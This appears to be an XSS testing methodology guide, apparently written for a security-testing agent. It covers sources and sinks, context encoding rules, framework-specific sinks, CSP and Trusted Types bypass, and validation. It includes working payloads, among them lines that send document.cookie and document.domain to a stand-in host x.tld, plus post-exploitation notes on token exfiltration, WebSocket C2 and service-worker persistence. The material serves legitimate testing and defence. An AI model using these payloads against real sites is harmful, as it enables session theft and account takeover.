7.9 KiB
7.9 KiB
CROSS-SITE SCRIPTING (XSS)
Critical
XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
Scope
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
- Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
- Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
- CSP/Trusted Types interactions, bypasses, and gadget-based execution
Methodology
- Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
- Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
- Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
- Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
Injection Points
- Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
- Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
- URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
- Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
- Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
- File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
Context Rules
- HTML text: encode < > & " '
- Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
- URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
- JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
- CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
- SVG/MathML: treat as active content; many tags execute via onload or animation events
Advanced Detection
Differential Responses
- Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
- Time-based userland probes: setTimeout gating to detect execution without visible UI
Multi Channel
- Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
Advanced Techniques
Dom Xss
- Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
- Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
- Example vulnerable pattern:
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
Exploit: ?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>
Mutation Xss
- Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
- Payloads:
<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>
Template Injection
- Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
- Example (AngularJS legacy):
{{constructor.constructor('fetch(//x.tld?c=+document.cookie)')()}}
Csp Bypass
- Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
- Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
- Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
- Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
Trusted Types
- If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
- Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
Polyglot Minimal
- Keep a compact set tuned per context:
HTML node:
<svg onload=alert(1)>Attr quoted:" autofocus onfocus=alert(1) x="Attr unquoted:onmouseover=alert(1)JS string:"-alert(1)-"URL:javascript:alert(1)
Frameworks
React
- Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
- Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
Vue
- Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
- Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
Angular
- Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
- Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
Svelte
- Sink: {@html} and dynamic attributes
- Defense: never pass untrusted HTML; sanitize or use text nodes
Markdown Richtext
- Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
Special Contexts
Emails
- Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
Pdf And Docs
- PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
File Uploads
- SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
- Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
Post Exploitation
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
- Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
- Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
- Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
Validation
- Provide minimal payload and context (sink type) with before/after DOM or network evidence.
- Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
- Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
- Quantify impact beyond alert: data accessed, action performed, persistence achieved.
False Positives
- Reflected content safely encoded in the exact context
- CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
Pro Tips
- Start with context classification, not payload brute force.
- Use DOM instrumentation to log sink usage; it reveals unexpected flows.
- Keep a small, curated payload set per context and iterate with encodings.
- Validate defenses by configuration inspection and negative tests.
- Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
- Treat SVG/MathML as first-class active content; test separately.
- Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
- Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
Remember
Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.